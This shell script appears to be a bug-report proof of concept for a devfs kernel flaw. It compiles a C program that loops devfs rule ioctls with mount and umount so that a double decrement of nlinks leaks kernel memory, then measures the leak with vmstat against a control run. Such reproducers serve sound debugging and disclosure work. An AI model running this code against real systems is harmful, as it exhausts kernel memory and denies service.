DF-3006 / leak.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | #!/bin/sh # DF-3006 - nlinks double-decrement leak PoC # usage: ./leak.sh [iterations] set -e ITERS=${1:-300} mkdir -p /tmp/df3006 cat > /tmp/df3006/leak.c <<'EOF' #include <sys/ioctl.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #define PATHMAX 1024 struct devfs_rule_ioctl { unsigned long rule_type; unsigned long rule_cmd; char mntpoint[PATHMAX]; char name[PATHMAX]; char linkname[PATHMAX]; unsigned long dev_type; unsigned short mode; unsigned int uid; unsigned int gid; }; #define DEVFS_RULE_NAME 0x01 #define DEVFS_RULE_LINK 0x01 #define DEVFS_RULE_ADD _IOWR('d', 221, struct devfs_rule_ioctl) #define DEVFS_RULE_APPLY _IOWR('d', 222, struct devfs_rule_ioctl) #define DEVFS_RULE_CLEAR _IOWR('d', 223, struct devfs_rule_ioctl) #define DEVFS_RULE_RESET _IOWR('d', 224, struct devfs_rule_ioctl) static void fill(struct devfs_rule_ioctl *r, const char *mnt, const char *name, const char *link) { memset(r, 0, sizeof(*r)); strlcpy(r->mntpoint, mnt, sizeof(r->mntpoint)); strlcpy(r->name, name, sizeof(r->name)); strlcpy(r->linkname, link, sizeof(r->linkname)); } int main(int argc, char **argv) { struct devfs_rule_ioctl r; int fd, i, iters, mode; const char *mnt = "/mnt/dt"; iters = (argc > 1) ? atoi(argv[1]) : 300; mode = (argc > 2) ? atoi(argv[2]) : 1; /* 1 = with RESET (bug), 0 = control */ fd = open("/dev/devfs", O_RDWR); if (fd < 0) { perror("open /dev/devfs"); return 1; } /* add a link rule: on mount /mnt/dt, node "vn0" gets a link "leaklink" */ fill(&r, mnt, "vn0", "leaklink"); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_LINK; if (ioctl(fd, DEVFS_RULE_ADD, &r)) { perror("ADD"); return 1; } for (i = 0; i < iters; i++) { /* * mount: node creation auto-applies the rule -> Nlink created, * target->nlinks = 1 */ if (system("mount -t devfs df3006 /mnt/dt 2>/dev/null") != 0) { perror("mount"); return 1; } if (mode) { /* * reset: devfs_rule_reset_node does --nlinks (1->0), * then devfs_gc->devfs_unlinkp does nlinks-- (0->SIZE_MAX) */ if (ioctl(fd, DEVFS_RULE_RESET, &r)) { perror("RESET"); return 1; } } /* * umount: reaper calls devfs_freep(vn0 node); nlinks != 0 * -> DEVFS_NLINKSWAIT -> node + name leaked forever */ if (system("umount /mnt/dt 2>/dev/null") != 0) { perror("umount"); return 1; } } /* clean the rule out of the kernel's rule list */ fill(&r, mnt, "vn0", "leaklink"); if (ioctl(fd, DEVFS_RULE_CLEAR, &r)) { perror("CLEAR"); return 1; } return 0; } EOF cc -o /tmp/df3006/leak /tmp/df3006/leak.c || exit 1 mkdir -p /mnt/dt echo "== baseline M_DEVFS usage ==" vmstat -m | awk '$NF ~ /devfs/ || $1 ~ /devfs/' echo "== running $ITERS iterations (with DEVFS_RULE_RESET => double decrement) ==" /tmp/df3006/leak $ITERS 1 echo "== M_DEVFS usage after bugged loop ==" vmstat -m | awk '$NF ~ /devfs/ || $1 ~ /devfs/' echo "== control: $ITERS iterations WITHOUT reset ==" /tmp/df3006/leak $ITERS 0 echo "== M_DEVFS usage after control loop ==" vmstat -m | awk '$NF ~ /devfs/ || $1 ~ /devfs/' |